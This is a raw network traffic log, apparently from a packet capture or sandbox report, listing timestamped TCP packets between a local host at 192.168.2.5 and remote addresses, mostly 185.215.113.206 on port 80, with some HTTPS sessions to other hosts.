Nov 12, 2024 08:30:39.111725092 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111742020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111753941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111761093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111761093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111768961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111774921 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111780882 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111793995 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111797094 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111807108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111819983 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111819983 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111831903 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111845016 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111850023 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111857891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111870050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111876011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111881971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111891985 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111921072 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111921072 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.123956919 CET	443	57081	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.124522924 CET	57081	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.124579906 CET	443	57081	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.124644041 CET	57081	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.127785921 CET	443	57086	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.128319979 CET	57086	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.128336906 CET	443	57086	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.128784895 CET	57086	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.128792048 CET	443	57086	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.153831005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.153841972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.153923035 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.187294960 CET	443	57084	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.187350035 CET	443	57084	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.187427044 CET	443	57084	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.187457085 CET	57084	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.187494040 CET	57084	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.187841892 CET	57084	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.187860012 CET	443	57084	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.187887907 CET	57084	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.187894106 CET	443	57084	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.192058086 CET	57093	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.192109108 CET	443	57093	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.192112923 CET	443	57085	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.192193985 CET	443	57085	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.192271948 CET	57093	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.192307949 CET	57085	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.193116903 CET	57093	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.193130970 CET	443	57093	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.193393946 CET	57085	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.193422079 CET	443	57085	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.193438053 CET	57085	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.193445921 CET	443	57085	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.195770025 CET	57094	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.195802927 CET	443	57094	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.195893049 CET	57094	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.196681976 CET	57094	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.196693897 CET	443	57094	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.216137886 CET	443	57083	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:39.226182938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226252079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226264000 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226300955 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226334095 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.226366997 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.226385117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226397038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226458073 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.226464987 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226536036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226547003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226579905 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.226593018 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.226639986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226656914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226707935 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.226711035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226797104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226807117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226818085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226830959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226843119 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.226855993 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.226855993 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.226888895 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227032900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227041960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227049112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227061033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227072001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227083921 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227085114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227107048 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227147102 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227261066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227269888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227282047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227293968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227303028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227319956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227324009 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227324009 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227343082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227385044 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227539062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227550030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227564096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227572918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227582932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227592945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227592945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227596045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227606058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227638960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227638960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227787018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227797985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227811098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227821112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227830887 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227832079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227868080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227868080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.227938890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227950096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227962017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.227982044 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228002071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228002071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228018999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228030920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228043079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228055954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228065014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228077888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228091002 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228118896 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228400946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228411913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228434086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228445053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228457928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228467941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228480101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228480101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228494883 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228518963 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228693008 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228703976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228714943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228734970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228746891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228760004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228760958 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228774071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228781939 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228790998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228804111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228806973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228816032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228830099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228830099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228831053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.228857994 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.228878975 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.229171991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.229183912 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.229196072 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.229207993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.229218960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.229229927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.229228973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.229249954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.229274988 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.238257885 CET	443	57083	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:39.238404036 CET	57083	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:39.240225077 CET	57083	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:39.240247011 CET	443	57083	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:39.264820099 CET	443	57086	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.264900923 CET	443	57086	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.265172005 CET	57086	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.265392065 CET	57086	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.265407085 CET	443	57086	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.265436888 CET	57086	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.265443087 CET	443	57086	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.268541098 CET	57097	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.268591881 CET	443	57097	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.268745899 CET	57097	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.268906116 CET	57097	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.268918991 CET	443	57097	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.269740105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.269757986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.269838095 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.332882881 CET	443	57087	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.333445072 CET	57087	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.333477974 CET	443	57087	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.333900928 CET	57087	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.333915949 CET	443	57087	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.336321115 CET	443	57088	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.338386059 CET	57088	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.338413954 CET	443	57088	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.338790894 CET	57088	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.338797092 CET	443	57088	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.343266010 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.343277931 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.343288898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.343331099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.343363047 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.343868017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.343915939 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.343926907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.343941927 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344038963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344050884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344062090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344089985 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344151020 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344188929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344201088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344213009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344230890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344243050 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344274998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344274998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344378948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344391108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344402075 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344418049 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344428062 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344484091 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344604969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344615936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344626904 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344636917 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344647884 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344651937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344665051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344676971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344681978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344687939 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344701052 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.344712019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344712019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.344762087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345000029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345010996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345021963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345033884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345045090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345051050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345062017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345074892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345087051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345093012 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345093012 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345109940 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345133066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345314980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345324993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345359087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345379114 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345379114 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345422983 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345433950 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345434904 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345446110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345458984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345470905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345472097 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345490932 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345504999 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345671892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345683098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345695019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345706940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345716000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345720053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345730066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345769882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345803976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345815897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345830917 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345843077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345853090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345865011 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345874071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345875978 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345889091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345891953 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345901012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345907927 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345913887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345926046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345937967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345947981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345947981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345947981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.345982075 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.345995903 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.346554995 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.346564054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.346577883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.346587896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.346600056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.346611023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.346611977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.346621990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.346636057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.346637011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.346647024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.346657038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.346661091 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.346661091 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.346688032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.433747053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.433758020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.433873892 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.460824966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.460838079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.460907936 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.460933924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.460942984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461040974 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.461452961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461462021 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461472988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461520910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461528063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.461528063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.461532116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461535931 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461602926 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461611986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461642027 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.461642027 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.461764097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461776018 CET	80	49809	185.215.113.206	192.168.2.5
